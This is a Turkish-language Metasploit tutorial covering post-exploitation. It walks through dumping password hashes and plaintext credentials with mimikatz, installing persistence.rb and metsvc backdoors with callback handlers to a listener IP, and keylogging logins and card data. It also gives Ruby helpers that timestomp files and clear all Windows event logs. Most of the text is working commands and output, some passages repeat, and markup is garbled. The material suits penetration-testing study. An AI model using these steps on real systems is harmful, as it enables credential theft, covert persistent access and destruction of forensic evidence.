Metasploit Framework, çok yönlü kullanım imkanları sağlamaktadır. Bu sebeple, harici kaynaklardan kodları da sistem içine dahil etmek mümkündür. Bu yazımızda, mimikatz uygulamasının Metasploit Framework içinde kullanımı ile ilgili örneklere bakacağız.
Metasploit Framework, çok yönlü kullanım imkanları sağlamaktadır. Bu sebeple, harici kaynaklardan kodları da sistem içine dahil etmek mümkündür. Bu yazımızda, mimikatz uygulamasının Metasploit Framework içinde kullanımı ile ilgili örneklere bakacağız.
Mimikatz nedir?
Mimikatz, esasında Benjamin Delpy tarafından yazılan bir post-exploitation programıdır. Hedef bilgisayardan bilgi toplama için kullanılır. Mimikatz, bilgi toplama için gerekli bir çok farklı komutu bünyesinde toplamıştır.
Mimikatz Yükleme
Mimikatz, hedef sistemde bir Meterpreter oturumu açtıktan sonra çalıştırılabilir. Sisteme herhangi bir dosya yüklemeye gerek kalmadan hafıza üzerinde çalışır. Etkin olarak çalışabilmesi için SYSTEM seviyesinde oturum yetkilerine sahip olmamız gerekir.
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator
Bu çıktıda, hedef sistemde SYSTEM seviyesinde olmadığımız görülmektedir. Öncelikle SYSTEM seviyesine geçmeye çalışalım.
meterpreter > getsystem
...got system **(**via technique 1**)**.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Başarılı olduysanız yukarıdaki gibi SYSTEM seviyesine geçtiğinize dair çıktı alırsınız.
Mimikatz, 32-bit ve 64-bit mimarilerde çalışmak üzere tasarlanmıştır. SYSTEM seviyesine geçtikten sonra hedef sistemin mimarisinin ne olduğuna sysinfo komutuyla bakmalıyız. Bazen, Meterpreter oturum 64-bit mimaride çalışan bir 32-bit mimari prosesinde oturum açmış olabilir. Bu durumda mimikatz’ın bazı özellikleri çalışmayacaktır. Meterpreter oturumu 32-bit bir proseste çalışıyorsa (Mimari aslında 64-bit olmasına rağmen), mimikatz, 32-bit için yazılımları kullanmaya çalışacaktır. Bunun önüne geçmenin yolu ps komutuyla çalışan proseslere bakmak ve migrate komutuyla başka bir prosese geçmektir.
meterpreter > sysinfo
Computer : WINXP-E95CE571A1
OS : Windows XP **(**Build 2600, Service Pack 3**)**.
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Burada görülen çıktıda, hedef makinenin zaten 32-bit mimaride olduğunu görüyoruz. O zaman, 32-bit, 64-bit çakışması bulunmamaktadır. Artık mimikatz modülünü yükleyebiliriz.
Yükleme başarıyla tamamlandıktan sonra öncelikle yardım bilgisini görüntüleyelim.
meterpreter > help mimikatz
Mimikatz Commands
**=================**
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom commannd
msv Attempt to retrieve msv creds **(**hashes**)**
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
Mimikatz, temel olarak yukarıdaki komutları kullanmamızı sağlarsa da içlerinde en güçlüsü mimikatz_command seçeneğidir.
Öncelikle mimikatz sürümünü kontrol edelim.
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 **(**RC**)** **(**Nov 72013 08:21:02**)**
Mimikatz’ın sağladığı bir takım modüller bulunur. Bu modüllerin listesini görmek için sistemde bulunmayan bir modül ismi vermeniz yeterlidir. Bu durumda mimikatz size kullanılabilir modüllerin listesini verecektir. Komut kullanımında modüladı:: kullanım formatına dikkat edin.
Aşağıdaki örnekte, fu:: modülü istenmiştir. Böyle bir modül olmadığından kullanılabilir tüm modülleri listelemiş olduk.
meterpreter > mimikatz_command -f fu::
Module : 'fu' introuvable
Modules disponibles :
- Standard
crypto - Cryptographie et certificats
hash - Hash
system - Gestion système
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privilèges
handle - Manipulation des handles
impersonate - Manipulation tokens d'accès
winmine - Manipulation du démineur
minesweeper - Manipulation du démineur 7
nogpo - Anti-gpo et patchs divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
sekurlsa - Dump des sessions courantes par providers LSASS
efs - Manipulations EFS
Bu listede bulunan modüllerin kullanılabilir seçeneklerini listelemek için modül ismini vererek girilen komut aşağıdaki formatta kullanılmaktadır.
meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvable
Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer
cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
secrets - Affiche les secrets utilisateur
Gördüğünüz gibi drivers modülünün, noroutemon, eventdrop, cancelator, secrets seçenekleri bulunmaktadır.
RAM Hafızadan Hash ve Parola Okuma
RAM hafızadan Hash değerlerini ve parolaları okumak için Metasploit Framework’ün sağladığı kendi komutlarını kullanabileceğimiz gibi mimikaz modüllerini de kullanabiliriz.
Metasploit Komutları ile Bilgi Elde etme
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials===============AuthID Package Domain User Password
------ ------- ------ ---- --------
0;78980 NTLM WINXP-E95CE571A1 Administrator lm{00000000000000000000000000000000}, ntlm{ d6eec67681a3be111b5605849505628f }0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)0;56683 NTLM n.s. (Credentials KO)0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials====================AuthID Package Domain User Password
------ ------- ------ ---- --------
0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683 NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword
Yukarıda örnek olarak gösterilen modüllerin haricinde başka modüllerde bulunur. Bunların tamamını Mimikatz web sayfasından inceleyebilirsiniz.
Kullanıcı Token Bilgileri
meterpreter > mimikatz_command -f handle::
Module : 'handle' identifié, mais commande '' introuvable
Description du module : Manipulation des handles
list - Affiche les handles du système **(**pour le moment juste les processus et tokens**)**
processStop - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
tokenImpersonate - Essaye d'impersonaliser un token en utilisant d'autres handles
nullAcl - Positionne une ACL null sur des Handles
meterpreter > mimikatz_command -f handle::list
...snip...
760 lsass.exe -> 1004 Token NT AUTHORITY ETWORK SERVICE
760 lsass.exe -> 1008 Process 704 winlogon.exe
760 lsass.exe -> 1052 Process 980 svchost.exe
760 lsass.exe -> 1072 Process 2664 fubar.exe
760 lsass.exe -> 1084 Token NT AUTHORITY\LOCAL SERVICE
760 lsass.exe -> 1096 Process 704 winlogon.exe
760 lsass.exe -> 1264 Process 1124 svchost.exe
760 lsass.exe -> 1272 Token NT AUTHORITY\ANONYMOUS LOGON
760 lsass.exe -> 1276 Process 1804 psia.exe
760 lsass.exe -> 1352 Process 480 jusched.exe
760 lsass.exe -> 1360 Process 2056 TPAutoConnSvc.exe
760 lsass.exe -> 1424 Token WINXP-E95CE571A1\Administrator
...snip...
Windows Servisleri İşlemleri
Mimikatz, Windows servislerini başlatma, durdurma ve kaldırma imkanı da sağlamaktadır. Servis modülüne ve seçeneklerine bakalım.
meterpreter > mimikatz_command -f service::
Module : 'service' identifié, mais commande '' introuvable
Description du module : Manipulation des services
list - Liste les services et pilotes
start - Démarre un service ou pilote
stop - Arrête un service ou pilote
remove - Supprime un service ou pilote
mimikatz - Installe et/ou démarre le pilote mimikatz
Mimikatz’ın sağladığı kripto modülüne ve seçeneklerine bakalım.
meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvable
Description du module : Cryptographie et certificats
listProviders - Liste les providers installés**)**
listStores - Liste les magasins système
listCertificates - Liste les certificats
listKeys - Liste les conteneurs de clés
exportCertificates - Exporte les certificats
exportKeys - Exporte les clés
patchcng - **[**experimental] Patch le gestionnaire de clés pour l'export de clés non exportable
patchcapi - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable
Bu seçeneklerden listProviders seçeneğini kullanalım.
meterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI :
Gemplus GemSAFE Card CSP v1.0
Infineon SICRYPT Base Smart Card CSP
Microsoft Base Cryptographic Provider v1.0
Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
Microsoft Base DSS Cryptographic Provider
Microsoft Base Smart Card Crypto Provider
Microsoft DH SChannel Cryptographic Provider
Microsoft Enhanced Cryptographic Provider v1.0
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype) Microsoft RSA SChannel Cryptographic Provider
Microsoft Strong Cryptographic Provider
Yukarıdaki örneklerden göreceğiniz gibi, Mimikatz’a ait modüller ve bu modüllerin seçenekleri bulunuyor. Çok geniş ihtimaller dahilinde kullanabileceğiniz komutları tek tek deneyerek tecrübe kazanmanızı tavsiye ediyorum.
2.15 - MSF Meterpreter Kalıcı Backdoor
Hedef sistemde oturum açtıktan sonra kalıcılık sağlamak için Metasploit Framework içinde kullanabileceğiniz bir diğer yöntem de persistence.rb script kodunu kullanmaktır.
Persistence.rb
Hedef sistemde oturum açtıktan sonra kalıcılık sağlamak için Metasploit Framework içinde kullanabileceğiniz bir diğer yöntem de persistence.rb script kodunu kullanmaktır.
Bu yöntem sayesinde, hedef bilgisayar güncellense bile tekrar bağlanma imkanınız bulunmaktadır. Ayrıca, hedef sistemin tekrar başlatılması da bağlantı yapmayı etkilemeyecektir.
Bir önceki konuda, metsvc için yaptığımız uyarıyı burada da tekrarlayalım. persistence.rb arka kapısı, bağlantı için herhangi bir oturum bilgisi kullanmaz. Bu açıklığı keşfeden herkes bağlantı sağlayabilir.
Hedef sistemde meterpreter oturum açtıktan sonra persistence.rb script kodunu kullanmadan önce yardım bilgilerini görüntüleyelim ve bize hangi imkanları sağladığını görelim.
meterpreter > run persistence -h
**[!]** Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
**[!]** Example: run post/windows/manage/persistence_exe OPTION**=**value **[**...]Meterpreter Script **for **creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L Location **in **target host to write payload to, **if **none %TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service **(**with SYSTEM privileges**)**
-T Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval **in **seconds between each connection attempt
-p The port on which the system running Metasploit is listening
-r The IP of the system running Metasploit listening **for **the connect back
Aşağıdaki persistence -U -i 5 -p 443 -r 192.168.1.71 komutu hangi işlemleri yapıyor?
-U, bir kullanıcı oturum açtığında bizim bilgisayarımıza otomatik bağlantı yapılmasını sağlar.
-i 5 Karşe taraftaki persistence.rb script kodu her 5 saniyede bir bize bağlanmaya çalışır.
-p 443 bizim dinleme yapan bilgisayarımızın dinleme yaptığı port numarasıdır.
-r 192.168.1.71 bizim dinleme yapan bilgisayarımızın IP numarasıdır.
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
> Creating a persistent agent: LHOST**=**192.168.1.71 LPORT**=**443 **(**interval**=**5 onboot**=**true**)**
> Persistent agent script is 613976 bytes long
> Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
> Agent executed with PID 492> Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
> Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
> For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >
Verdiğimiz komut sonucunda başlatılan script, çıktılarda da görüleceği gibi işimiz tamamlandığında log temizleme işleminin nasıl yapılabileceğini de gösteriyor.
Scriptin çalışıp çalışmadığını ve otomatik bağlantı yapıp yapmadığını, hedef bilgisayarı tekrar başlatarak anlayabiliriz. Hedef bilgisayarı yeniden başlatalım.
Dinleyici exploit/multi/handler modülünü tekrar başlatalım.
msf exploit**(**ms08_067_netapi**)** > use exploit/multi/handler
msf exploit**(**handler**)** > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
msf exploit**(**handler**)** > set LHOST 192.168.1.71
LHOST **=>** 192.168.1.71
msf exploit**(**handler**)** > set LPORT 443LPORT **=>** 443msf exploit**(**handler**)** > exploit
> Started reverse handler on 192.168.1.71:443
> Starting the payload handler...
Hedef bilgisayar tekrar başladığında, oturum açılır açılmaz yerel bilgisayara bağlantı, aşağıda görüldüğü gibi tekrar sağlanacaktır.
> Sending stage **(**748544 bytes**)** to 192.168.1.161
> Meterpreter session 5 opened **(**192.168.1.71:443 -> 192.168.1.161:1045**)** at 2010-08-21 12:31:42 -0600
meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS : Windows XP **(**Build 2600, Service Pack 2**)**.
Arch : x86
Language: en_US
meterpreter >```
2.16 - MSF Meterpreter Backdoor
Hedef sisteme giriş yaptıktan sonra, kalıcılık sağlamanın bir yolu da metsvc servisini kullanmaktır. Bu servis sayesinde istediğiniz zaman tekrar Meterpreter oturumu açabilirsiniz. metsvc hakkında detaylı bilgiyi bağlantıyı kullanarak inceleyebilirsiniz.
Meterpreter metsvc
Hedef sisteme giriş yaptıktan sonra, kalıcılık sağlamanın bir yolu da metsvc servisini kullanmaktır. Bu servis sayesinde istediğiniz zaman tekrar Meterpreter oturumu açabilirsiniz. metsvc hakkında detaylı bilgiyi bağlantıyı kullanarak inceleyebilirsiniz.
metsvc hakkında bilmeniz gereken önemli bir noktayı vurgulayalım. Bu servisi yerleştirdiğiniz bilgisayarın ilgili portunu bulan herkes bu arka kapıyı kullanabilir. Pentest işlemleri esnasında kullandıktan sonra iptal etmelisiniz yoksa sistemi, art niyetli kişilere açık duruma getirmiş olursunuz. Bu da sistem sahiplerinin hiç hoşuna gitmeyebilir.
Öncelikle sistemde, bulduğunuz bir açıklıkla ilgili modülü kullanarak meterpreter oturumu açalım.
msf exploit**(**3proxy**)** > exploit
> Started reverse handler
> Trying target Windows XP SP2 - English...
> Sending stage **(**719360 bytes**)**
> Meterpreter session 1 opened **(**192.168.1.101:4444 -> 192.168.1.104:1983**)**
ps komutuyla Explorer.exe programının PID numarasını bulalım ve migrate komutuyla bu PID numaralı programa geçiş yapalım.
metsvc modülünü kullanmadan önce yardımı görüntüleyelim ve bize hangi olanakları sağladığını görelim.
meterpreter > run metsvc -h
>
OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service **(**files must be deleted manually**)**
meterpreter >
metsvc, normalde bize geri bağlantı da sağlayan bir programdır ancak biz zaten Meterpreter oturumu açtığımız için geri bağlantıya şimdilik ihtiyacımız yok. Sadece programı çalıştıralım.
meterpreter > run metsvc
> Creating a meterpreter service on port 31337> Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh...
> **>>** Uploading metsrv.dll...
> **>>** Uploading metsvc-server.exe...
> **>>** Uploading metsvc.exe...
> Starting the service...
> ***** Installing service metsvc
***** Starting service
Service metsvc successfully installed.
meterpreter >
metsvc başladı ve artık bağlanmak için bekliyor. Şimdi bu servisle nasıl haberleşeceğimizi görelim.
Hedef sistemde dinleme durumundaki metsvc ile haberleşmek için windows/metsvc_bind_tcp payload modülünü kullanacağız. Modülü, aşağıdaki örnekte olduğu gibi aktif hale getirelim ve gerekli PORT ayarlarını yapalım.
msf > use exploit/multi/handler
msf exploit**(**handler**)** > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD **=>** windows/metsvc_bind_tcp
msf exploit**(**handler**)** > set LPORT 31337LPORT **=>** 31337msf exploit**(**handler**)** > set RHOST 192.168.1.104
RHOST **=>** 192.168.1.104
msf exploit**(**handler**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options **(**windows/metsvc_bind_tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 31337 yes The local port
RHOST 192.168.1.104 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit**(**handler**)** > exploit
> Starting the payload handler...
> Started bind handler
> Meterpreter session 2 opened **(**192.168.1.101:60840 -> 192.168.1.104:31337**)**
Gördüğünüz gibi session 2 otomatik olarak açıldı. Şimdi, metsvc servisinin hedef bilgisayarda hangi PID numarasıyla çalıştığına bakalım.
Çıktıdan görülebileceği gibi, metsvc programı, 564 PID numarasıyla çalışmaktadır. Artık istediğiniz zaman, hedef bilgisayarda dinleme yapan programa, windows/metsvc_bind_tcp payload modülünü kullanarak bağlanabiliriz.
Tekrar hatırlatmak gerekirse, güvenlik testi işlemleriniz bittiğinde metsvc programını sistemden silmelisiniz.
2.17 - MSF Meterpreter Kalıcılık Sağlama
Bir hedef bilgisayara başarılı bir oturum açtığınızda, mevcut yetkiler izin veriyorsa ilk düşünülmesi gereken kalıcılık sağlamaktır. Kalıcılık, hedef sisteme daha sonradan giriş için açık kapılar oluşturulması veya daha kolay giriş yöntemleri bulunmasını kapsar.
Kalıcılık Sağlama
Bir hedef bilgisayara başarılı bir oturum açtığınızda, mevcut yetkiler izin veriyorsa ilk düşünülmesi gereken kalıcılık sağlamaktır. Kalıcılık, hedef sisteme daha sonradan giriş için açık kapılar oluşturulması veya daha kolay giriş yöntemleri bulunmasını kapsar.
Bazı durumlarda, hedef üzerinde yaptığınız çalışmalar sistemi kararsız hale getirebilir. Sistemin tekrar başlatılması gerektiğinde bağlantınız da kopacaktır. Bu gibi durumlar için, hedef sisteme tekrar bağlanmanın kolay bir yolunu oluşturmak faydalı olacaktır.
Kalıcılık sağlamak için sistem hakkında kullanıcı bilgileri, token bilgileri, hash bilgileri ve bağlı olduğu diğer alt ağların keşfi ileride kullanım için oldukça fayda sağlamaktadır.
Bilgi toplamanın bir yöntemi de keylogger olarak ifade edilen yöntemdir.
Metasploit içinde Keylogger Kullanımı
Bir sisteme giriş sağlandığında iki yaklaşım sergileyebilirsiniz. Çok hızlı olmak veya çok yavaş olmak. Keylogger, yani kullanıcının tuşlarını ve yazdıklarını kaydetmek, yavaş yaklaşıma bir örnektir. Bu yaklaşımda, gerçekleştirmek istediğiniz işlemleri çok hızlı yapamazsınız ancak uzun vadede çok kullanışlı bilgiler elde edebilirsiniz.
Öncelikle, bir exploit modülü kullanarak hedef sistemde oturum çalım.
msf exploit**(**warftpd_165_user**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Sending stage **(**2650 bytes**)**
> Sleeping before handling stage...
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> Meterpreter session 4 opened **(**172.16.104.130:4444 -> 172.16.104.145:1246**)**
meterpreter >
Oturum açıldıktan sonra, tuşları kayıt etmek için Explorer.exe prosesine geçmek başarı için daha garanti bir yoldur. Hedef sistemde Explorer.exe uygulaması, hangi PID numarasıyla çalışıyor öğreniyoruz ve migrate komutuyla geçiş yapıyoruz.
PID geçişini kontrol ettikten sonra keylogger işlemini başlatalım.
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
tgoogle.cm my credit amex myusernamthi amexpasswordpassword
Bir miktar süre geçtikten sonra kayıt dosyasını görmek için keyscan_dump komutunu kullanabilirsiniz. Yakalanan tuş vuruşlarını incelediğinizde, CTRL veya ALT gibi tuşların log dosyasına nasıl kayıt edildiğini de öğrenebilirsiniz.
Ayrıca, oturum açma bilgilerini de yakalamak isterseniz, Explorer.exe yerine migrate komutuyla, winlogon prosesine geçebilirsiniz.
meterpreter > ps
Process list
**=================**
PID Name Path
--- ---- ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe
meterpreter > migrate 401> Migrating to 401...
> Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer...
Kayıt esnasında bir Administrator kullanıcı oturumu açılmıştır. Sonucuna bakalım.
Görüldüğü gibi, oturum açan kullanıcı “Administrator” ve parolası “ohnoes1vebeenh4x0red!” olarak tespit edilmiştir.
2.18 - MSF Meterpreter Script Fonksiyonlar
Bu yazıda, script dosyalarınızda kullanabileceğiniz kullanışlı bazı fonksiyon örneklerine toplu halde bakacağız. Bu fonksiyonları ihtiyacınıza göre kullanabilirsiniz. Komutları inceleyerek ne gibi işlemler yapıldığını inceleyebilirsiniz.
Kullanışlı Fonksiyonlar
Bu yazıda, script dosyalarınızda kullanabileceğiniz kullanışlı bazı fonksiyon örneklerine toplu halde bakacağız. Bu fonksiyonları ihtiyacınıza göre kullanabilirsiniz. Komutları inceleyerek ne gibi işlemler yapıldığını inceleyebilirsiniz.
Kullanılabilir WMIC Komutları
def wmicexec**(**session,wmiccmds**=** nil**)**
windr **=** '' tmpout **=** '' windrtmp **=** "" session.response_timeout**=**120
begin
tmp **=** session.fs.file.expand_path**(**"%TEMP%"**)**
wmicfl **=** tmp + ""+ sprintf**(**"%.5d",rand**(**100000**))**
wmiccmds.each **do** |wmi| print_status "running command wmic #{wmi}" cmd **=** "cmd.exe /c %SYSTEMROOT%system32wbemwmic.exe" opt **=** "/append:#{wmicfl} #{wmi}" r **=** session.sys.process.execute**(** cmd, opt,**{**'Hidden' **=>** true**})**
sleep**(**2**)**
#Making sure that wmic finnishes before executing next wmic command prog2check **=** "wmic.exe" found **=** 0 **while **found **==** 0 session.sys.process.get_processes**()**.each **do** |x| found **=**1
**if **prog2check **==** **(**x['name'**]**.downcase**)**
sleep**(**0.5**)**
print_line "." found **=** 0 end
end
end
r.close
end
# Read the output file of the wmic commands wmioutfile **=** session.fs.file.new**(**wmicfl, "rb"**)**
**until **wmioutfile.eof?
tmpout **>>** wmioutfile.read
end
wmioutfile.close
rescue ::Exception **=>** e
print_status**(**"Error running WMIC commands: #{e.class} #{e}"**)**
end
# We delete the file with the wmic command output. c **=** session.sys.process.execute**(**"cmd.exe /c del #{wmicfl}", nil, **{**'Hidden' **=>** true**})**
c.close
tmpout
end
Dosyaların MAC Zamanlarını Değiştirme
def chmace**(**session,cmds**)**
windir **=** '' windrtmp **=** "" print_status**(**"Changing Access Time, Modified Time and Created Time of Files Used"**)**
windir **=** session.fs.file.expand_path**(**"%WinDir%"**)**
cmds.each **do** |c| begin
session.core.use**(**"priv"**)**
filetostomp **=** windir + "system32"+ c
fl2clone **=** windir + "system32chkdsk.exe" print_status**(**"tChanging file MACE attributes on #{filetostomp}"**)**
session.priv.fs.set_file_mace_from_file**(**filetostomp, fl2clone**)**
rescue ::Exception **=>** e
print_status**(**"Error changing MACE: #{e.class} #{e}"**)**
end
end
end
UAC Kontrolü
def checkuac**(**session**)**
uac **=** false begin
winversion **=** session.sys.config.sysinfo
**if **winversion['OS'**]=**~ /Windows Vista/ or winversion['OS'**]=**~ /Windows 7/
print_status**(**"Checking if UAC is enaled ..."**)**
key **=** 'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem' root_key, base_key **=** session.sys.registry.splitkey**(**key**)**
value **=** "EnableLUA" open_key **=** session.sys.registry.open_key**(**root_key, base_key, KEY_READ**)**
v **=** open_key.query_value**(**value**)**
**if **v.data **==** 1 uac **=** true **else
**uac **=** false end
open_key.close_key**(**key**)**
end
rescue ::Exception **=>** e
print_status**(**"Error Checking UAC: #{e.class} #{e}"**)**
end
**return **uac
end
Tüm Olay Loglarını Temizleme
def clrevtlgs**(**session**)**
evtlogs **=** **[**
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service' **]**
print_status**(**"Clearing Event Logs, this will leave and event 517"**)**
begin
evtlogs.each **do** |evl| print_status**(**"tClearing the #{evl} Event Log"**)**
log **=** session.sys.eventlog.open**(**evl**)**
log.clear
end
print_status**(**"Alll Event Logs have been cleared"**)**
rescue ::Exception **=>** e
print_status**(**"Error clearing Event Log: #{e.class} #{e}"**)**
end
end
Bir Komut Listesini Çalıştırma
def list_exec**(**session,cmdlst**)**
**if **cmdlst.kind_of? String
cmdlst **=** cmdlst.to_a
end
print_status**(**"Running Command List ..."**)**
r**=**'' session.response_timeout**=**120
cmdlst.each **do** |cmd| begin
print_status "trunning command #{cmd}" r **=** session.sys.process.execute**(**cmd, nil, **{**'Hidden' **=>** true, 'Channelized' **=>** true**})**
**while****(**d **=** r.channel.read**)**
print_status**(**"t#{d}"**)**
end
r.channel.close
r.close
rescue ::Exception **=>** e
print_error**(**"Error Running Command #{cmd}: #{e.class} #{e}"**)**
end
end
end
Dosyaları Karşı Tarafa Yükleme
def upload**(**session,file,trgloc **=** nil**)**
**if **not ::File.exists?**(**file**)**
raise "File to Upload does not exists!" **else
if **trgloc **==** nil
location **=** session.fs.file.expand_path**(**"%TEMP%"**)**
**else
**location **=** trgloc
end
begin
**if **file **=**~ /S*******(**.exe**)**/i
fileontrgt **=** "#{location}svhost#{rand(100)}.exe" **else
**fileontrgt **=** "#{location}TMP#{rand(100)}" end
print_status**(**"Uploadingd #{file}...."**)**
session.fs.file.upload_file**(**"#{fileontrgt}","#{file}"**)**
print_status**(**"#{file} uploaded!"**)**
print_status**(**"#{fileontrgt}"**)**
rescue ::Exception **=>** e
print_status**(**"Error uploading file #{file}: #{e.class} #{e}"**)**
end
end
**return **fileontrgt
end
Bir Dosyaya Veri Yazma
def filewrt**(**file2wrt, data2wrt**)**
output **=** ::File.open**(**file2wrt, "a"**)**
data2wrt.each_line **do** |d| output.puts**(**d**)**
end
output.close
end
2.19 - MSF Meterpreter Script API Çağrıları
Önceki script düzenleme yazımızda, meterpreter oturumunda kullanılan script dosyasının genel mimari yapısını açıklamaya çalışmıştık. Bu yazımızda, sürekli kullanılan ve işimize yarayacak API çağrı kodlarını tek tek görelim ve ne işe yaradığını açıklayalım.
Kullanışlı API Çağrıları
Önceki script düzenleme yazımızda, meterpreter oturumunda kullanılan script dosyasının genel mimari yapısını açıklamaya çalışmıştık. Bu yazımızda, sürekli kullanılan ve işimize yarayacak API çağrı kodlarını tek tek görelim ve ne işe yaradığını açıklayalım.
Bu çağrıları kendi dosyanızı oluşturarak deneyebileceğiniz gibi Meterpreter oturumu içerisinden irb komutuyla Ruby girişimcisini kullanarak direk hedef sistemde de çalıştırabilirsiniz. irb girişimcisini, meterpreter oturumu açık durumdayken, aşağıdaki örnekte olduğu gibi başlatabilirsiniz.
meterpreter > irb
> Starting IRB shell
> The 'client' variable holds the meterpreter client
**>>**
client.sys.config.sysinfo
Bu komut, sistem hakkında bir takım bilgileri öğrenmemizi sağlar. Aşağıda, client.sys.config.sysinfo API çağrısının bir kaç örneğini görebilirsiniz.
**>>** client.sys.config.sysinfo
**=>** **{**"OS"**=>**"Windows XP (Build 2600, Service Pack 3).", "Computer"**=>**"WINXPVM01"**}**
**>>**
Komut çıktısında görüldüğü gibi, ekrana getirilen bilginin aslında farklı alt sınıfları bulunmaktadır. Örneğin, “OS” ve “Computer” bu çağrının alt sınıfıdır. İstersek, sadece bu sınıf bilgilerini de öğrenebiliriz. Bunun için çağrı komutu aşağıdaki gibi kullanılabilir.
Bu çağrı sayesinde, Meterpreter oturumunun hangi program içine gömülü olarak çalıştığını öğrenebiliriz.
**>>** client.sys.process.getpid
**=>** 684## client.net.config.interfacesBu çağrı ile hedef sistemin ağ kartları ve arayüzleri hakkında bilgi elde edebilirsiniz.
```sh
**>>** client.net.config.interfaces
**=>** **[**#, #]**>>** client.net.config.interfaces.class
**=>** Array
Gördüğünüz gibi, API çağrısı array tipi bir değişken kullanmaktadır. Bu değişken tipini aşağıdaki gibi döngüde kullanarak sonuçları görebiliriz.
**>>** interfaces **=** client.net.config.interfaces
**=>** **[**#, #] **>>** interfaces.each **do** |i| ?> puts i.pretty
**>>** end
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:dc:aa:e4
IP Address : 192.168.1.104
Netmask : 255.255.255.0```
2.20 - MSF Meterpreter Script Düzenleme
Meterpreter Scriptin nasıl bir yapı olduğunu önceki iki yazımızda kısaca gördük. Şimdi, kodların ne sonuç döndürdüğünü parça parça görelim. Bunun için “Hello World” ruby kodu yazalım ve helloworld.rb olarak /usr/share/metasploit-framework/scripts/meterpreter klasörüne kayıt edelim.
Script Yazma
Meterpreter Scriptin nasıl bir yapı olduğunu önceki iki yazımızda kısaca gördük. Şimdi, kodların ne sonuç döndürdüğünü parça parça görelim. Bunun için “Hello World” ruby kodu yazalım ve helloworld.rb olarak /usr/share/metasploit-framework/scripts/meterpreter klasörüne kayıt edelim.
Oluşturduğumuz script kodunu meterpreter oturum açık iken çalıştıralım.
meterpreter > run helloworld
> Hello World
meterpreter >
Basit bir Ruby kodunu, meterpreter içinde çalıştırmış olduk. Şimdi ise bir kaç API çağrısını helloworld.rb dosyamızın içine ekleyelim. Aşağıdaki satırları, metin editör kullanarak ekleyebilirsiniz.
print_error**(**“this is an error!”**)**
print_line**(**“this is a line”**)**
